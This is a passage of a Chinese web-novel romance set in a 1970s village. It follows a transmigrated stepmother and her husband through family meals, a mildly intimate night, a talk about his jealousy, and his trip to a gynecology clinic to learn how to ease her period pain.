傅青山找人查的时间,6点58,大刚准时引火,等大锅里的水烧开,傅青山把饺子下进去,傅大嫂和老三媳妇包的饺子胖嘟嘟的,飘起来的时候看着像一个个的小福袋。 吃过香喷喷的开锅饺子,傅青山去上班,二刚去上学,谢晚棠带着四个孩子在家大扫除。 开始干活前,谢晚棠开了个小会:“我们先收拾各自的小炕间,怎么安排布局自己定,缺什么东西记下来,等过些日子大集咱们一块去买上。” “好!” 上午收拾完三个小炕间和当门,大刚用大扫帚打扫了院子,谢晚棠叉腰站在当门前,看着目前还光秃秃的院子,就差菜和花了,菜等着去大集上买点种子,花等着开春了慢慢挑好看的移栽吧! 下午兰兰蒸了一锅白面馒头,晚上傅青山下班回来带回来的猪肉、排骨和猪大肠,炖了个排骨芋头,蒸了个虾米鸡蛋羹,辣椒炒大肠,菠菜粉条炒肉丝。 晚上不像早晨那样赶时间,四个荤菜配白面馒头,小日子必须板板正正。 谢晚棠给三个小的熬了冰糖雪梨当小甜水饮料,她和傅青山还有两个大的则喝的是之前别人找她做衣服送来的一瓶自酿果酒。 傅青山看着倒在茶杯里的酒,犹豫了下,看向谢晚棠。 结婚那天他喝多了,差点弄伤了她,跟她说过以后不会再碰酒。 谢晚棠笑笑:“今天可以破例一次!” 一家人围坐在主卧的大炕上,一起碰杯:“新生活快乐!” 谢晚棠今晚开心,果酒又爽口,感觉没什么酒味,就多喝了几杯,喝完才发觉,这果酒就像葡萄酒一样,后劲大,整个人晕乎乎轻飘飘的,明明快入冬了,却感觉浑身发热,洗脚的时候,烫人的洗脚水更是从脚底往上注入一股难耐的燥热。 傅青山出去倒完水回来,就看到谢晚棠坐在炕上,皱着眉头在解胸口的扣子,因为手使不上劲,半天解不开,听到他进来,闻声抬头,像冬日雪地里红着眼睛的委屈小猫,轻声向他求助:“帮帮我。” 傅青山虽然破例,但只喝了一杯,并无醉意,可看到谢晚棠扯着衣襟请求他帮她解开,瞬间感觉喉头发紧,如喝醉一般全身涌动着热流。 许是看他不动,以为他不想帮忙,谢晚棠更加委屈:“二哥……帮帮我,我解不开。” 傅青山喉结滚动,不顾三个刚那间还在玩闹的动静,关上门反锁,转过身来,走到谢晚棠面前。 谢晚棠坐着,如仰望神灵一般仰视着他,他深吸一口气,抬手搭上谢晚棠的指尖,解开她指尖下攥到温热的扣子。 这副美丽的身体如同一本精妙绝伦的好书,纵使他已翻阅过多次,逐字逐句地反复品味过,再次打开时,仍旧那样强烈地吸引着他。 过往,他只能在深夜,伴着月色去体味书中的美妙。 当他第一次有机会在明黄的烛光下翻开这本书时,才发现其中最精美迷人之处,只要看过一眼,便沉迷其中,欲罢不能,不能自控地疯狂地去探索、去汲取…… 四周一切的声音在这一刻都消失了,他只能听到自己胸腔的剧烈跳动,好似有什么要冲出来。 指尖下的温度越来越烫人,烫得他的手指颤抖,看谢晚棠的眼神逐渐变深。 他再也克制不住,伸手去拿炕边早就备好的小东西,谢晚棠柔若无骨的手搭上他的肩膀,红着眼睛如迷途的小兔子一般朝他摇头:“二哥,不用那个。” 他怔了下:“为什么?” 谢晚棠看起来似醉非醉,搂着他的脖子贴近他耳朵,声音黏黏糊糊如撒娇:“我想和二哥,不想和它。” 40-50 第41章 你是我精挑细选的男人。 傅青山干起农活来比大刚还麻利,因为傅青山的加入,晚上下工的时候,他们家破天荒地分了14根玉米! 这么多玉米,晚上玉米清炖腿骨,连烀饼子都省了,直接用玉米当主食都够。 傅青山在大锅里炖上腿骨,谢晚棠又用小葱拌了个虾皮当凉菜。 拌虾皮前两天中午吃过一次,孩子们都没吃够,正好今天傅青山在家,再拌一次,都尝尝鲜。 大刚在拨弄他的小菜园,兰兰中午头走的时候就晒上了一大盆井水,正在压井边给妞妞洗头,二刚和小刚拿着傅青山给他们编的球在逗小黑玩。 忙碌的秋收时节,每天等晚饭的时间是孩子们最快乐的时光。 谢晚棠心里一直想着玉秀下午跟她说傅青山在外边承认他是妻管严的事,拌虾皮的时候回头看了好几眼傅青山宽阔结实的脊背,终究还是没憋住:“你怎么在外边跟刘燕华瞎说啊?说得我像个母老虎似的。” 傅青山闻声回头,两人视线对上,明明瞎说的是傅青山,但谢晚棠竟然有点心虚,因为傅青山的神色实在是清明又坦然。 谢晚棠解释道:“玉秀没说你坏话啊,她就是跟我夸你,说刘燕华来找你,但你没理她,刘燕华就讽刺你,说是不是我管你死死的,你怕老婆什么的,这不是瞎说嘛,你干嘛承认啊,你哪有怕我……” 傅青山看着她:“我怕你。” 谢晚棠……???? 傅青山:“我怕你,不高兴。” 谢晚棠愣了下,笑道:“不会啊!你放心好了!” 傅青山闻声拧眉:“孩子们都会不高兴,你为什么不会?” 谢晚棠懵了,因为她能感觉到傅青山的言语和神色间有不满和抱怨,但是抱怨的内容她着实不理解,抱怨她没有不高兴? 什么意思,如果刘燕华每次来找他,自己一哭二闹三上吊傅青山才觉得正常?才高兴? 这岂不是很抖M…… “娘!小黑好聪明,它居然会捡球了!你快来看!” 小刚进来拉她手,让她出来看小黑的捡球表演,打断了两人没聊明白的天。 谢晚棠出门一看,二刚拿着傅青山用软条子编的小藤球扔出去,小黑就迈着小短腿马上跑着跟过去捡,捡完跑回来乖乖坐在二刚面前,俨然一个小机灵鬼。 小黑还不到两个月大呢,居然就能这么训练有素了,果然我们中华田园犬就是厉害呢! 谢晚棠蹲下摸了摸小黑滑溜溜的毛脑袋,小黑仰头用软软热热的小舌头舔她的掌心,舔得她特别痒,忍不住咯咯笑。 傅青山在当门里烧着火,听着天井里谢晚棠和孩子们说笑的欢快声,彻底死了心。 谢晚棠是真的一点都不在意他这个人,她就是想找个穿衣吃饭的男人而已,而且也没有隐瞒他,一开始就跟他说得很清楚了。 现在这一切,都是他的一厢情愿、自寻烦恼。 晚饭也不用碗了,一人一个小汤盆,腿骨、玉米块再舀上汤,汤汤水水的吃起来又有滋味又养胃舒服。 二刚啃完了腿骨上的肉,用筷子捣了捣中间的骨髓,然后一口吸出来,一脸满足地感慨:“真香啊!” 小刚也有样学样,跟二刚学着往外吸骨髓。 谢晚棠是享不动这油水的,她感觉骨髓还是有点腻,只能吃点瘦肉。 把自己啃完的腿骨里的骨髓弄出来给妞妞试试,没想到妞妞还愿意吃,于是娘俩就合作起来不浪费。 猪骨髓还是很有营养的,可以补充蛋白质和钙,非常有利于小朋友长身体和骨骼发育。 兰兰吃完一口猪骨髓,叨了一筷子虾皮,爽口解腻。 看爹一直在吃玉米和腿骨,兰兰极力推荐:“爹,你尝尝娘拌的虾皮,可好吃了,上次我们中午吃的,特别下饭。” 傅青山“嗯”了声,伸筷子夹了一口虾皮,吃下去也还是面无表情,没有一点惊艳。 兰兰感觉爹看起来不太对劲,朝谢晚棠使眼色,谢晚棠自然也看出来了,抿唇想了半天,还是没想明白,傅青山到底为什么不高兴。 因为她没有不高兴,所以傅青山不高兴? 好奇怪的逻辑。 吃完饭,孩子们帮着收拾桌子刷碗,谢晚棠实在是被傅青山憋得难受,势必要问清楚到底怎么个事。 家里孩子多,说话不方便,谢晚棠便叫着傅青山跟她一起去自留地摘茄子,明早晨做个凉拌蒜泥茄子。 摘茄子是临时起意,跟傅青山有个放松的谈话氛围是主要目的,所以两人没有骑车子,饭后溜达着往傅大娘家的自留地走。 指望傅青山主动开口是难了,谢晚棠先开了头:“你不高兴。” 不是问句,是肯定句。 傅青山怔了下,摇头:“没有。” 谢晚棠:“……” 她发现大佬优点虽然很多,但缺点也很明显,这个嘴是真的很硬啊!!! 谢晚棠站定,傅青山走了几步才反应过来谢晚棠落在了后面,停下回头,就见谢晚棠皱眉抿唇看着他:“我看起来傻吗?” 谢晚棠的语气神情有点撒娇的意味,傅青山下意识摇头。 她那么聪明,怎么可能傻。 谢晚棠叉腰:“所以我能看出来你不高兴。” 傅青山终于妥协,承认自己是有不高兴的情绪,但是又道:“你不用管我。” 他的问题,他该自己消化。 谢晚棠叹了口气,走到傅青山身边:“我怎么能不管你?你不高兴,也会影响到我和孩子们啊,大家都高兴,这个家里才会其乐融融。” 看傅青山神色微动,谢晚棠一边走一边循循善诱:“所以你为什么不高兴?也没别人,可以告诉我吗?” 谢晚棠说完有一种自己在哄孩子的感觉,大佬居然也需要哄的吗?! 傅青山偏头看她,谢晚棠给他一个鼓励的眼神,傅青山犹豫了下,终于道:“你知道刘燕华是我以前的未婚妻吗?” 谢晚棠点头:“知道啊。” 傅青山皱眉:“那为什么她来找我,孩子们都不高兴,还说村里人都议论,但你却根本不在意。” 之前他还觉得孩子们小题大做,但是写过检讨后,他换位思考,如果蒋有年隔三差五来找谢晚棠,他肯定是受不了的。 谢晚棠不在意,那就只能说明谢晚棠心里一点都没有他。 傅青山比做饭那会说得具体,谢晚棠可算是听明白了,嗐了一声:“你是这个意思啊!对啊,我就是根本不在意刘燕华啊。” 谢晚棠耐心给大佬解释:“我不仅知道刘燕华是你曾经的未婚妻,我还知道她因为逼你把这几个孩子送走你没同意,她就退婚改嫁了别人。现在她不过因为自己的男人没了,又看咱们日子过得好,才又想和你好。” “如果这样的女人都能让你回头,那你也太差劲太没骨气了吧!我精挑细选的男人,怎么可能窝窝囊囊吃回头草!因为我相信你,所以才不担心,根本不在意她这种无趣的小伎俩。” 傅青山没想到谢晚棠看得这么明白,还说相信他,还…… 傅青山有点不敢相信:“我是你……精挑细选的?” 他一直以为谢晚棠就是因为成分不好,才随便选了他这个因为带着这么多孩子不好找对象的男人结婚。 谢晚棠点头:“那当然了!我还能随便把自己嫁了?” 她可是在书里精挑细选的未来大佬呢!开玩笑呢! 看傅青山还有点不信,谢晚棠抿唇给他打气:“你以后会前途无量,因为……因为我有相面神功!只要你对我不离,我肯定不弃啊!” 必须抱紧大腿不松手啊! 傅青山感觉脑袋都要被突如其来的快乐冲昏了,有点懵懵的,谢晚棠居然承诺会对他不离不弃,而且她还会相面,还能相出来他前途无量。 谢晚棠笑道:“现在高兴了吗?” 傅青山稀里糊涂地点头,他*是她精挑细选的,她不是不在意他,而是很相信他所以才对刘燕华不在意,她还说绝对会对他不离不弃,之前那点不高兴早就烟消云散了。 看傅青山冷了半晚上的脸终于露出笑容,谢晚棠感慨沟通真是很重要啊! 你看,只要好好聊,就没有聊不开的事嘛! 谢晚棠一边往自留地里走,一边给傅青山讲蒜泥茄子的做法,傅青山也没了之前冷硬不说话的小脾气,时不时“嗯”一声回应着她。 两人一路上碰到不少吃完饭在胡同头拿着蒲扇聚堆乘凉的男男女女,不过都是男人和男人聚一起,女人和女人聚一起。 这个年代的男人普遍大男子主义,不管晚上灭了蜡在炕上和老婆怎么亲密亲热,白天在外边是绝对不可能有一丁点暧昧的,那就显得很不男人似的。 妇女们看着谢晚棠和傅青山并肩说说笑笑地走在小路上,无不羡慕。 人家傅青山就不在乎别人怎么看,白天替谢晚棠干活,晚上吃完饭还陪谢晚棠出来遛弯! 到了傅大娘家的自留地,谢晚棠才后知后觉,她忘带剪刀了!摘茄子要用剪刀的! 走的时候满脑子都是怎么跟傅青山聊,把剪刀忘忘的。 谢晚棠还在纠结要不要回去拿,就见傅青山已经徒手开始摘了。傅青山的大手跟钳子一样有劲,一点不输剪刀,摘到拿不过来了,谢晚棠赶紧来接。 真好啊! 谢晚棠忍不住心里感慨:真是哆啦A梦百宝箱一样好用的男人啊! “够了吗?”傅青山又摘了六七个问。 “再来点,这个一蒸就会变很少。”她记得以前妈妈就是用好几个大茄子才拌一盘而已。 而且傅青山中午带回来大酱了,明天中午还可以炒个酱茄子解解馋。 茄子长得快,产量高,每天都能长起来一茬,就算她今天多摘点,也不耽误明天傅大娘家吃。 傅青山嗯了声,又摘了五六个,两人抱着茄子往家走。 回家的路上,谢晚棠感觉小肚子隐约有点疼,开始以为是站一天累的,可是快到家的时候,熟悉的坠痛感袭来。 她体寒,从上中学开始就有痛经,这种感觉实在是体验过太多次,她几乎可以确定,这是要来月经了。 就算穿书了,痛经体质都要跟着带来吗?还是说原身本身也跟她一样有痛经。 女人真是太难了! 终于挨到家,痛感越来越强烈,还伴随着后腰和小肚子都泛着凉意。 很不舒服。 放下茄子去茅房一看,果然是来红了。 这个年代没有卫生巾,还得再过20年,卫生巾才会传入国内普及开来。 好在出嫁前,薛桂花给她放上了几个月经带。 这个时候的月经带都是自己手缝的,里边装上草木灰吸血,而且还得重复利用,用完把脏了的草木灰倒了,把月经带洗干净晾干下次再用。 傅青山看谢晚棠拿月经带,便明白是怎么回事。 兰兰前两年来月经了,傅青山在这方面不是一点不懂。 不过月经毕竟是女人的隐秘事,傅青山看谢晚棠皱着眉头,嘴唇泛白,犹豫再三,终究还是没说话。 他们回来的时候,兰兰坐在缝纫机那儿,一边看她的服装设计书,一边熟练地纳鞋底,其他几个孩子都围在炕上看小人书。 谢晚棠换好月经带,感觉腰又酸又疼还发软,这么热的天,她感觉到腰那一圈却很冷。 上炕躺下,把夏凉棉单盖在腰腹一圈,侧身面对着墙蜷起来身体,才觉得稍稍好那么一点。 她刚回来的时候,几个小的跟她打过招呼就继续看书了,直到看到她这么早就躺下了,一下子都围了过来。 妞妞担心的声音里带了哭腔:“娘,你生病了?” 小刚也着急,“娘,你哪里难受?” 吃完饭还好好的,怎么和爹去了趟自留地,回来就不好了? 二刚皱眉看向爹:“爹,你又欺负娘了?” 傅青山:“……” 他什么时候欺负过谢晚棠?怎么还又欺负? 谢晚棠听着孩子们的关心和对傅青山的责问,只得转过身来为傅青山证明:“没有没有,我躺会儿就好了。” 兰兰知道娘是来月经了,便带着弟弟妹妹们出去,让娘在家好好歇歇。 炕上终于安静了,谢晚棠才蜷起身子来,闭上眼睛,忍过腰腹一圈一波一波逐渐加重的凉意和痛感。 这么热的天,她盖着棉单,身上冒的却是冷汗。 “你冷吗?” 谢晚棠听到傅青山的声音,有气无力地嗯了声,片刻后听到傅青山道:“喝点热水吧。” “……” 网上说的还真是没错,直男的一大典型特征就是女友来大姨妈了,就只会让女友喝热水。 不过谢晚棠感觉肚子真的好凉,能喝口热水也会热乎一点吧。 傅青山端过来温热适中的水,谢晚棠强撑着坐起来,小口喝下去,一股热流进胃里,暂时冲去一些凉意。 谢晚棠疼了整整一晚,身上的冷汗一层又一层的冒,几乎没有停过。 她感觉原身的痛经比她严重多了,她快要痛昏过去了,可惜这个年代不光没有卫生巾,也没有布洛芬。 终于挨到天亮,疼痛只有稍稍缓解,还是疼,只是比昨晚好了那么一点。 天刚亮,傅青山就醒了,穿上衣裳下炕去烧火做饭。 以前谢晚棠都是自然醒,从来不知道傅青山是什么时候起的,反正每天起来早饭就做好了。 原来,傅青山每天都是和太阳公公一起起来的呀。 要是让她每天这么早起,那可能比让她下地还折磨她。 大佬果然是大佬,极度自律是骨子里与生俱来的品质。 因为难受,谢晚棠早饭没有吃太多,吃过早饭傅青山去上班,让兰兰在家照顾她,他去跟大队长给她请假。 谢晚棠现在一点逞强的心都没有了,痛经真的可以击倒每一个坚强的女人。 更何况她本来就没那么坚强T_T 骑行在日复一日经过的小路上,傅青山面色沉重。 谢晚棠一夜翻来覆去他都听着,但是除了喝热水,他一点办法也没有,只能干着急。 他只知道女人每个月都会来月经,但兰兰每次来的时候看着都挺正常,没想到谢晚棠会疼得觉都没法睡。 镇卫生院。 窗口负责挂号的小姑娘看了眼高大男人身后,没有女人跟着,再次确认:“同志,你确定要挂……妇科?” 男人冷脸点头:“妇科。” 小姑娘强撑微笑:“……好的同志。” 大沟镇卫生院妇科即将迎来首位男患者,而且是位接近一米九、结结实实的大块头男患者…… 第42章 早点要个孩子。 “别吃凉的,多喝热水,饮食清淡,有条件还可以用红糖水炖个荷包蛋。” “她肚子凉的话,你可以给她用手掌轻轻揉一揉,可以缓解凉和疼,不过不要太用力啊。” “来月经前几天和来月经期间不要动凉水,不要进行重体力劳动,好好休息。” “再就是平时可以适当活动,痛经主要就是血液流动不好,平时增加活动会能缓解一些。” 年轻的妇产科女医生一边说,傅青山一边记,遇到不明白地就问:“什么样的活动?” 女医生想了想:“早晨可以跑一跑,也可以打打拳,反正就是动起来的都行。” 傅青山想了想谢晚棠早晨爱睡懒觉的习惯,让她起来晨跑估计是很为难她,不行就晚上吃完饭消消食,带她打军体拳。 傅青山走后,年轻的妇产科女医生和小护士感慨:“真是好男人啊,一般男人陪着对象来看妇科都扭扭捏捏的好像丢他们人了似的,看看人家,自己来妇科给对象咨询。” 小护士也小鸡啄米似的点头:“他刚才记得可认真了,长得也好看,也不知道是哪个女人有这样的好福气嫁给了他。” …… 傅青山中午下班先去供销社买上红糖才往家走,到家的时候,兰兰已经做好了饭在刷锅等弟弟妹妹们回来。 兰兰说谢晚棠睡着了,傅青山轻声推开门看了眼,谢晚棠还是侧躺着蜷着腿自己抱着自己,弯成小小的一团,睡着了还皱着眉头。 傅青山关上门退出来,把锅里倒上水,撒了一把红糖进去,烧火煮开,然后打上一个荷包蛋,鸡蛋熟了以后连红糖水一起舀到大碗里。 见他要刷锅,兰兰接过饭帚:“我来刷,你快趁热端过去让娘喝了。” 傅青山点头,拿了双筷子,端着红糖鸡蛋推门进去,轻声叫了两声:“晚棠,晚棠?起来喝点红糖水。” 淅淅沥沥的疼连续不断,谢晚棠其实没睡实,但是昨晚一晚上没睡着,她精神实在是撑不住了才迷糊过去,傅青山一叫她就醒了。 傅青山一手拿碗,一手拿筷子:“给你煮了红糖鸡蛋,趁热吃点吧。” 谢晚棠其实难受得一点都不想动,但是傅青山下班回来顾不上歇就给她做了,她点点头,强撑着精神坐起来要接。 “有点烫。”说着傅青山坐在炕沿上,用筷子夹起来荷包蛋吹凉了,才送到她嘴边。 这种不舒服被投喂的经历,都是小学时候才有的,她现在都20多了。 可是全身都是冷汗,真的一点不想动弹,谢晚棠就着傅青山的筷子咬了一口,荷包蛋裹上了红糖的甜味,带走嘴里的苦涩。 早上她就吃得少,现在胃里早没了东西,一个鸡蛋吃下去,胃舒服了不少。 她吃得慢,鸡蛋吃完,红糖水也没那么烫了,傅青山又给她吹了吹,她才接过来碗自己端着,小口小口地喝下去。 虽然网上都说红糖水没有缓解痛经的作用,但吃完这碗红糖鸡蛋,她真的感觉舒服了许多。 谢晚棠把碗递给傅青山,“谢谢。” 傅青山下炕把碗筷送出去,谢晚棠看着他高大挺括的背影,不知道这个男人怎么突然就不直男了,还知道炖红糖鸡蛋水来给她吃。 感觉整个下沟村都没有哪个女人能和傅青山聊上天,更别说还是痛经这种私密话题,傅青山是从哪儿学的呢? 傅青山送完碗筷回来,从衣柜里给她找了身干衣裳,摸到红色肚兜的时候,指尖好像被烫了一下,把衣服放在炕上,就匆匆带上门出去了。 谢晚棠换好衣裳,孩子们上工上学挖野菜也都回来了,都来炕上问她怎么样。 傅青山的红糖鸡蛋吃下去暖暖的,孩子们对她的关心更是暖暖的,换上了干净舒服的衣裳,谢晚棠感觉精神好多了,努力笑道:“好多了,明天肯定就能生龙活虎了!” 妞妞爬上炕,热乎乎的小脸贴着她微凉的手心,一双灵动的大眼睛还是有些担忧,巴巴地仰头看着她。 算算时间,妞妞才一岁的时候亲娘就不在了,她又是小姑娘,不像二刚小刚性子那么开朗,可能真的很缺乏安全感吧。 谢晚棠把妞妞搂进怀里:“妞妞别担心,娘真的没事。” 妞妞也不闹,在她怀里乖乖地点头。 吃过午饭,谢晚棠胃里热乎乎的,痛感和凉意都削弱许多,躺下迷迷糊糊睡了过去。 可能身体真的太累了熬不住了,一觉醒来,她看了眼手表,竟然快5点了。 她足足睡了有5个小时! 下炕穿鞋去上厕所,听到当门有拉风箱的声音,推门一看,傅青山在烧火做饭,闻着是白菜虾皮鸡蛋的香味。 把白菜切碎,抓上一把虾皮,多打几个鸡蛋搅匀,油开了下锅,鸡蛋把虾皮和白菜的清香包裹住,是孩子们非常喜欢的家常手擀面卤子。 “好香啊。”谢晚棠笑道。 “你好点了吗?”傅青山问。 “嗯,好多了,不太疼了,就是肚子还有点凉,估计明天差不多就能好了。” 她上完厕所回来,傅青山正把手对着锅底口那儿烤,偏头看她:“我手热,给你热热肚子?” 谢晚棠感觉小肚子是从里往外的那种凉,而她自己的手就跟小肚子一个温度,傅青山的大手本来就热,被橙黄的火苗烤着更诱人,谢晚棠抿唇犹豫了下,很快点头。 时装行业就是用身体展示人类的优雅和美好,男男女女的漂亮身体她见多了,也没有什么男女授受不亲的传统思想,而且结婚第一天,傅青山就给她揉过后背和腰上的伤,现在不过是换个面,换成小肚子而已。 谢晚棠躺在炕上,舒服地享受着傅青山热乎乎的小腹按摩。 真舒服啊! 还能当暖水袋&按摩仪用,真是越来越像多啦A梦了呢,谢晚棠一想到多啦A梦的小胖形象跟傅青山的巨大反差,没忍住低笑出声。 傅青山皱眉:“怎么了?” 谢晚棠不能暴露自己来自21世纪,只能摇头:“没事,舒服。” 傅青山有点不相信,舒服会这么笑吗? 不过谢晚棠的小肚子确实凉,他的掌心刚覆上来是热的,过一会儿就会被她的小肚子拔凉,这小小的身体里哪来那么多的寒凉? 傅青山想起大夫说的话,垂眸道:“以后晚上吃完饭我带你打军体拳吧。” 谢晚棠……?? 什么?军体拳?她? 谢晚棠尴尬一笑:“我又不上战场,就没必要了吧……” 傅青山:“打军体拳可以缓解你来月经肚子疼,如果你不想打拳,那我早晨也可以带你晨跑。” 谢晚棠:“……” 虽然她不想痛经,但她更不想每天早起晨跑T-T 毕竟痛经是短痛,每天早起可是长痛,长痛不如短痛啊。 谢晚棠一脸苦哈哈:“那还是军体拳吧……” 傅青山从善如流:“好,你喜欢就行。” 谢晚棠:“……” 她根本没有喜欢好吗!她只是没有第三个选择! 谢晚棠接受了自己以后要运动起来的事实,又好奇道:“你怎么突然知道这么多了?” 昨晚还只知道让她喝热水的。 傅青山倒是没隐瞒,把去镇卫生院妇科咨询的事一五一十地告诉了她,还把裤兜里记的注意事项拿出来给她念了一遍。 谢晚棠简直惊呆了,不可思议地看着面前的男人:“所以你自己去挂了妇科???” 傅青山点头。 谢晚棠毫不犹豫地给他竖了个大拇指,哥,牛逼! 她还记得以前闺蜜跟她抱怨过,说是来了大姨妈家里没卫生巾了,让男朋友去楼下超市给她买,结果男朋友扭扭捏捏不去,最后气得她叫了外卖送到家。 没用的男人! 再看看人家大佬,自己去挂妇科眼睛都不带眨一下的! 这就是这年代没有卫生巾,要是镇供销社有卫生巾卖,他肯定带一车筐卫生巾回来都无所畏惧的。 外边传来孩子们叽叽喳喳的声音,谢晚棠回头往外看,大门从外边被推开,兰兰领着弟弟妹妹,还有妇女主任刘秀香来了。 谢晚棠赶紧坐起来,把傅青山正给她揉肚子的热乎大手拿开。 刘秀香进来,跟傅青山点了点头,傅青山就下炕去了。 刘秀香坐在炕沿上,拉着谢晚棠的手:“这小手,这么凉,早晨听青山说你不舒服,过晌问了兰兰才知道是来月经了,疼得厉害?” 谢晚棠叹了口气:“昨晚和今上午厉害,下午好多了,明天估计就能上工了。” 刘秀香拍拍她手,语重心长道:“不用急,再歇一天,你家也不是吃不上喝不上了,先养好身体再说,不然落下病根,以后影响生孩子就不好了。” 谢晚棠被那句“影响生孩子”呛到,一时咳个不停。 傅青山闻声,送过来一碗温水给她,刘秀香也轻轻给她拍背顺气:“慢点慢点,哎呀怪我,我的意思是养不好才有可能影响生孩子,你好好养好了就啥都不耽误,到时候三年生俩都没问题!等你生完孩子,月经疼这些事自然就都好了!” “咳咳咳——咳咳咳——” 下午听兰兰说谢晚棠喝了傅青山煮的红糖鸡蛋好多了,刘秀香对傅青山这种疼老婆的好男人越看越顺眼,如果下沟村的男人都能像傅青山这样,那村里的妇女都过得舒坦,她这个妇女主任干起来也轻松。 谢晚棠不咳了,刘秀香抬眸对傅青山笑道:“青山也不小了,也该早点要个孩子了,对你媳妇身体也好。” 第43章 棠棠动心。 “咳咳咳咳咳咳——” 见傅青山神色迟疑,像是真在思考刘秀香的话,谢晚棠生怕他当着刘秀香的面语出惊人,一着急咳得脸都憋红了。 刘秀香听着她止不住的咳,哪里还顾得上拉呱生孩子的事,赶紧回过身来给她拍背顺气。 刘秀香下了工就过来了,等她气喘顺了,赶着回家给男人孩子做饭,也顾不上再催生,嘱咐她照顾好身体,就先走了。 走之前还不忘安慰她:“不着急,过两个月看看,要是还没怀上也不用担心,邻村有个老大夫祖传的医术,治例假疼不生孩子一绝!到时候我带你去看,我先走了啊晚棠。” 谢晚棠:“……” 没想到穿书70年代,而且已经是五个孩子的后妈了,还逃脱不了被催生的结局QAQ 怪不得以前闺蜜说,单身会被催婚,结了婚就会被催生,生了一胎还会被催生二胎,然后现在还放开了三胎…… 傅青山送完刘秀香回来,两人面面相觑,一时都不知道该说什么。 二刚最机灵,在当门烧火的时候都听着了,探头探脑地进来嘿嘿一笑:“娘,你要再生个小弟弟还是小妹妹?” 谢晚棠:“……” 村里的妇女主任刚走,家里的妇女主任又上线了…… 谢晚棠实在是不知道该怎么回答这个问题,傅青山接收到谢晚棠求助的视线回过神来,偏头对二刚淡淡道:“这不是你该操心的事。” 谢晚棠对傅青山这冷硬的语气有些无奈,他确实从来没有哄过孩子,跟孩子说话和跟大人说话一样。 二刚可能也习惯了,也不恼,吐吐舌头:“嘿嘿,我喜欢小妹妹,像妞妞一样好看又听话。” 说完可能怕被傅青山怼,二刚扭头就跑,留下炕间的两个大人更加尴尬。 也不是两个大人尴尬,谢晚棠感觉尴尬的只有她自己,傅青山内心强大,连承认是妻管严这种事都无所谓,看起来丝毫不受催生话题的影响。 谢晚棠叹了口气,她还需要像大佬学习,继续修炼自己强大的内心啊! 傅青山其实并不像谢晚棠看到的那样完全不受影响,相反,听到刘秀香说两人该生个孩子的时候,他是心动的。 不是心动孩子,而是心动造孩子的过程,他觉得这可能就是男人骨子里的劣根吧。 但是话说回来,不管他和谢晚棠的感情进展如何,就家里现在这条件就不行。 他不知道别的夫妻都是怎么和孩子们睡一个炕还能接二连三地生的,他完全无法想象怎么在孩子们旁边办那事。 所以,虽然他和谢晚棠现在八字还没一撇,但盖房子的事宜早不宜迟。 翌日。 傅青山忙完手头工作,去了宅基地审批部门。 都在镇政府工作,平时低头不见抬头见的,审批部门的领导跟傅青山也熟,听他说家里五个孩子住不开,立马表示给他先办,秋收结束前上边差不多就能批下来。 傅青山回办公室拿出信纸给几个关系好的战友写信,战友有的还在部队,有的跟他一样转业了回来工作,都有固定工资。 他们之间的感情不像普通的同事朋友,他们在战场上可以把后背交给彼此,是一起卖过命的真兄弟。 这些年,谁家里遇到大事,娶媳妇盖房子、老的小的生病……大家都会互相借钱帮忙凑上先解决,过后再慢慢还。 傅青山帮着凑过很多次,但他本身不是个喜欢麻烦人的性子,结婚之前觉得不着急盖房,自己攒也不过是多等一两年的事。 但情况一时一变,不过才过了一个月,盖房子成了摆在他面前的头等大事。 指尖捻上信纸,勾起几天前给谢晚棠写检讨的记忆。 从自认为没有错,到莫名其妙听了孩子们的要求给她写了检讨,到写完真认识到了自己有错误。 原来喜欢上一个人,真的会为她改变。 写五封信都没有写一份检讨的时间长,装好贴上邮票去邮局寄了,傅青山直接骑车去赶集买鸡蛋。 今天是半月一次的大集,卖鸡蛋的大叔还带了只老母鸡来卖,傅青山不知道来例假该吃什么,但以前听战友说过,老婆生了孩子坐月子都是炖个老母鸡补身子。 生了孩子都可以吃,来例假肯定也可以吧。 傅青山带着老母鸡回村的时候,刚好是晌午下工的时间,一路都是人。 路过刘燕华身边时,傅青山连一个迟疑停留都没有,就骑过去了。 刘燕华看着傅青山的背影,眉头紧锁,脸色很差。 王寡妇推推傅大嫂:“傅青山怎么买个老母鸡回来?老母鸡多贵啊,买小鸡自己养多划算。” 傅大嫂知道分家的时候婆婆偏心,分给谢晚棠一只下不了蛋的老母鸡,被谢晚棠给杀了吃了,又去集上买了三只小的回来养。 虽然大人分了家,但孩子们还在一起玩,听二刚和小刚说,他们家每天早晨一人一个鸡蛋,因为谢晚棠说每天至少一个鸡蛋才能保证什么蛋质充足,她听不懂。 她就知道这是她想都不敢想的好日子,谢晚棠家却日日如此。 如果他们也能分家,傅老大和她都是能吃苦的,虽说没傅青山那么能挣,但吃饱穿暖肯定是没问题,她也不至于吃个二合面饼子还得看婆婆和小姑子的脸色。 一想到挣的工分都得给家里,她和孩子们连口吃的都吃不痛快,真是下地干活都提不起劲来。 但谁让他男人是老大,还是出了名的大孝子,只要婆婆不松口,分家想都不用想。 傅大嫂叹了口气,对王寡妇道:“可能小鸡养到能下蛋还得些时候吧,先买只老母鸡回来下蛋吃。” 傅青山到家的时候,谢晚棠正坐在天井里晒着太阳,和妞妞一起给小黑丢球玩,正午的阳光落在落在她肩头发梢,争先恐后地给她注入能量,她的嘴唇没那么白了,脸上看起来也有了血色。 他支下车子,谢晚棠起身过来帮他拿鸡蛋,“怎么又买个了鸡?咱家不是只能养三只鸡吗?” 傅青山拎着鸡翅膀把鸡拿下来:“给你炖鸡汤吃的。” 谢晚棠惊讶地微张着嘴:“给我炖鸡?我又不坐月——” 一说坐月子,谢晚棠又想起昨天下午刘秀香的催生话题,没说完的话戛然而止,但傅青山还是听明白她的意思,垂眸看她:“不坐月子也可以补身体。” 谢晚棠:“呃,这也是妇科大夫跟你说的?” 她微微仰头,睫毛又长又翘,嘴角带着浅浅笑意。 傅青山抿唇:“我自己觉得。” 不知道为什么,傅青山接近一米九,站在她面前跟座山一样,可这一刻抿唇不确定的小表情,竟然有点可爱。 谢晚棠笑道:“可以当然是可以,但是太破费了呀。” 这个年代一般人家一年到头都不杀只鸡,她就来个月经痛经一两天,就得杀个鸡补身子,这要是让村里人知道了,能惊掉下巴。 傅青山却一脸正色:“毛主席说过,身体是革命的本钱。” 谢晚棠一想,也觉得有道理。 傅青山:“身体没劲,你晚上也没力气打拳。” 谢晚棠:“……” 被刘主任催生催的,她把打拳的事都忘得干干净净了,傅青山又提醒她! 谢晚棠轻咳一声做最后的挣扎:“那个,就算吃了鸡,今晚也不能打吧,得等完全好了才行。” 